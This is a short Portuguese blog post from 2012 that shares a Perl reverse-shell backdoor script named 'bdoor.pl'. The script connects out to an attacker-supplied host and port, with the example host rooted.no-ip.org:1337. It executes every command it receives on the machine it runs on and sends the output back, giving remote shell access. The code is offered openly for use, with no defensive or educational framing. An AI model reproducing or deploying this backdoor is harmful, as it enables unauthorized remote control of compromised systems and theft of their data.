quinta-feira, dezembro 13, 2012

,

TCP Remote Shell

hy dudes! (:

#!/usr/bin/perl
#Coder FroZ3N
#Have Fun :)
use Sys::Hostname;
use IO::Socket::INET;
use Cwd;
my $machinename = hostname;
my $host = $ENV{LOGNAME} || $ENV{USER} || getpwuid(lt;);
my $path = getcwd;
my $hostname = $host.'@'.$machinename.":~$curdir# ";
$| =1;
$ip = $ARGV[0];
$port = $ARGV[1];
unless($ip and $port)
{ print q{
(+) Script Name : bdoor.pl
(+) Script CodeR : FroZeN
(+) Script Usage : ./bdoor.pl ip port
(+) Example : ./badoor.pl rooted.no-ip.org 1337
(+) Greetings : AnalyseR, Delirium, AmonR@, Drarqua , Rizla
};
}
$socket = new IO::Socket::INET(
PeerHost => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die " (-) Socket Error : $!\n";
while(1)
{
showname();
while(<$socket>)
{
$cd = 'cd ';
$cma = $_;
if($cma =~ $cd)
{
@array = split ($cd , $cma);
chomp($array[1]);
$path = $array[1];
}
my @rec = qx{$_};
@command = join('',@rec);
foreach $line(@command)
{
print $socket "$line";
}
showname();
}
}
print $socket "\n";
$socket->close();
sub showname {
chdir($path);
my $curdir = getcwd;
my $hostname = $host.'@'.$machinename.":~$curdir# ";
print $socket $hostname;
}

0 comentários:

Postar um comentário